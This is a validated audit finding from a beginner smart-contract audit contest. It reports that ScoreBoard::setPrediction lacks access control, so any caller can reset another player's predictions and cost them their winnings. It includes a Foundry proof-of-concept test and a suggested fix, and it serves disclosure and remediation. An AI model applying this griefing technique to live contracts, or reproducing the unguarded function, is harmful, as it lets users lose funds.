First Flight #20: The Predicter
First Flight #20
Beginner FriendlyFoundry
100 EXP
View results
Previous Next
Submission Details
Severity: high
Valid

Improper validation in `ScoreBoard::setPrediction` allows any user to arbitrary change another player's prediction(s)

vile

Summary

ScoreBoard::setPrediction does not properly validate the player input, allowing any user to grief another Player's predictions which can lead to a loss of funds for that Player.

Vulnerability Details

ScoreBoard::setPrediction does not check whether or not they are changing their own predictions.

Include the following test case in ./test/ThePredicter.t.sol:

function test_changeArbitraryPlayersPredictions() public {
uint256 entranceFee = thePredicter.entranceFee();
uint256 predictionFee = 0.0001 ether;
​
// `stranger` makes 3 correct predictions
startHoax(stranger, 1 ether);
thePredicter.register{value: entranceFee}();
thePredicter.makePrediction{value: predictionFee}(0, ScoreBoard.Result.First);
thePredicter.makePrediction{value: predictionFee}(1, ScoreBoard.Result.First);
thePredicter.makePrediction{value: predictionFee}(2, ScoreBoard.Result.First);
vm.stopPrank();
​
// `stranger2` griefs `stranger` and resets their predictions to `Pending`
address stranger2 = makeAddr("stranger2");
vm.startPrank(stranger2);
scoreBoard.setPrediction(address(stranger), 0, ScoreBoard.Result.Pending);
scoreBoard.setPrediction(address(stranger), 1, ScoreBoard.Result.Pending);
scoreBoard.setPrediction(address(stranger), 2, ScoreBoard.Result.Pending);
vm.stopPrank();
​
// `organizer` sets prediction results
vm.startPrank(organizer);
scoreBoard.setResult(0, ScoreBoard.Result.First);
scoreBoard.setResult(1, ScoreBoard.Result.First);
scoreBoard.setResult(2, ScoreBoard.Result.First);
scoreBoard.setResult(3, ScoreBoard.Result.First);
scoreBoard.setResult(4, ScoreBoard.Result.First);
scoreBoard.setResult(5, ScoreBoard.Result.First);
scoreBoard.setResult(6, ScoreBoard.Result.First);
scoreBoard.setResult(7, ScoreBoard.Result.First);
scoreBoard.setResult(8, ScoreBoard.Result.First);
vm.stopPrank();
​
// Now, `stranger` has "lost" all of their predictions, and is no longer eligible for a prize, effectively losing their winnings
vm.prank(stranger);
vm.expectRevert(ThePredicter.ThePredicter__NotEligibleForWithdraw.selector);
thePredicter.withdraw();
}

Run the test:

forge test --mt test_changeArbitraryPlayersPredictions -vvvvv

Impact

Any user can grief a Player's prediction(s), which can lead to a loss of funds for affected Player(s).

Tools Used

Manual Analysis

Recommendations

Ensure that users can only change their own predictions

function setPrediction(
address player,
uint256 matchNumber,
Result result
) public {
+ if (msg.sender != thePredicter && msg.sender != player) {
+ revert ScoreBoard__UnauthorizedAccess();
+ }
​
if (block.timestamp <= START_TIME + matchNumber * 68400 - 68400)
playersPredictions[player].predictions[matchNumber] = result;
playersPredictions[player].predictionsCount = 0;
for (uint256 i = 0; i < NUM_MATCHES; ++i) {
if (
playersPredictions[player].predictions[i] != Result.Pending &&
playersPredictions[player].isPaid[i]
) ++playersPredictions[player].predictionsCount;
}
}
Updates

Lead Judging Commences

NightHawK Lead Judge over 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

setPrediction lacks access control

setPrediction has no access control and allows manipulation to Players' predictions.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!